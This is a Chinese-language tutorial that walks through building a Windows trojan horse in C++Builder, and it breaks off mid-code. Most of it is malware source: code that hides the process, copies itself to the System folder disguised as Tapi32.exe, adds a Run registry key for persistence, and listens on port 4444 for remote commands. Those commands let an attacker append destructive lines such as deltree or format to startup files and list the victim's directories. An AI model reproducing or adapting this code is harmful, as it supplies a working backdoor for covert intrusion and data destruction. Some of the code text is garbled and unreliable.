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特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back O
rifice以来,木马犹如平地上的惊雷,使在Dos--Windows时代中长大的中国网民从五淑
头椎网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天
吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是
很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C
)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机
的口令,以取得更高的权限。那时木马的主要方法是诱骗--先修改你的.profile文件,
植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的
邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到W
in9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年
后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框
可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划
时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成--服务器程序(
Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;
客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为
了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的
技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这
里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突
出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,
但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编
写的,网上俯拾皆是);VB嘛,谈都不谈--难道你还给受害者传一个1兆多的动态链接库
--Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页
中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是
用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初
是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件
的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simpl
e Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上
传下载功能和发邮件功能的控件。
form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个form就
有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧
使程序不包含form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击form,首先在formCreate事件中添加可
使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过
是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系
统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用Regist
erServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的
声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.
DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定/义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加/载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"Re
gisterServiceProcess");
file://得/到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执/行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸/载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因
为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代
码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%Sys
tem%目录下,例如:
C:WindowsSystem,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定/义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath/是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的
System目录路径
SystemPath=AnsiString(TempPath);
file://格/式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\Tapi32.exe").c_str()
,FALSE);
file://将/自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定/义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://设/置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\Microsoft\Windows\CurrentVersion\Run",TRUE);
file://打/开键值Software\Microsoft\Windows\CurrentVersion\Run,如果不存在
,就创建之
try
{
file://如/果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\Tapi32.exe");
file://查/找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi3
2.exe
file://如/果不是,就写入以上键值和内容
}
catch(...)
{
file://如/果有错误,什么也不做
}
}
好,formCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“
关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,
这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是
木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为
这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用
1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起
冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,
这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是
SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码
:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定/义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\Win369.BAT")).c_
str());
file://在%System%下/建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
file://接/收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoex
ec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如/果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得/到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将/第11个字符转换成integer型,存入file_name变量
file://为/什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+n).c_str();
file://余/下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\autoexec.bat",S_IREAD|S_IWRITE);
chmod("c:\config.sys",S_IREAD|S_IWRITE);
file://将/两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\autoexec.bat");
file://如/果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\config.sys");
file://如/果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定/义计数器
while(fp==NULL)
{
file://如/果指针是空
fp=fopen(filename,"a+");
file://如/果文件不存在,创建之;如果存在,准备在其后添加
file://如/果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就/发回“Fail By Open File”的错误信息
goto END;
file://跳/至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写/入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写/完后关闭目标文件
Socket->SendText("Sucess");
file://然/后发回“Success”的成功信息
}
}
你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加
任何命令。呵呵,这只不过是牛刀小试罢了。
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树
和文件吧,这在客户端上使用“dir”命令,跟着敲啰:
{
else if(temp.SubString(0,3)=="dir")
{
file://如/果前3个字符是“dir”
int Read_Num;
char * CR_LF="n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得/到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从/字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如/果目录名为空
Socket->SendText("Fail By Open DIRs Name");
file://返/回“Fail By Open DIRs Name”信息
goto END;
file://跳/到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如/果打开目录出错
Socket->SendText("Fail by your DIRs name!");
file://返/回“Fail By Your DIRs Name”信息
goto END;
file://跳/到END
}
times_of_try=0;
while(fp==NULL)
{
file://如/果指针是NULL
fp=fopen(TempFile,"w+");
file://就/创建systemWin369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已经试了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就/发回“Fail By Open File”的错误信息
goto END;
file://并/跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如/果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!=\)
file://如/果最后一个字符不是“”,证明不是根目录
filename=(AnsiString(dirname)+"\"+ent->d_name).c_str();
file://加/上“”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如/果是根目录,则不用加“”
attrib=_rtl_chmod(filename, 0);
file://得/到目标文件的访问属性
if (attrib & FA_RDONLY)
file://“&”/字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将/目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失/败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将/目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失/败则写入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将/目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失/败则写入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将/目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失/败则写入空格
if (attrib & FA_DIREC)
fwrite("
",sizeof(char),9,fp);
file://将/目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失/败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://将/目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写/入换行
}
fclose(fp);
file://关/闭文件
closedir(dir);
file://关/闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打/开Win369.bat准备读
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就/发回“Fail By Open File”的错误信息
goto END;
file://并/跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content=
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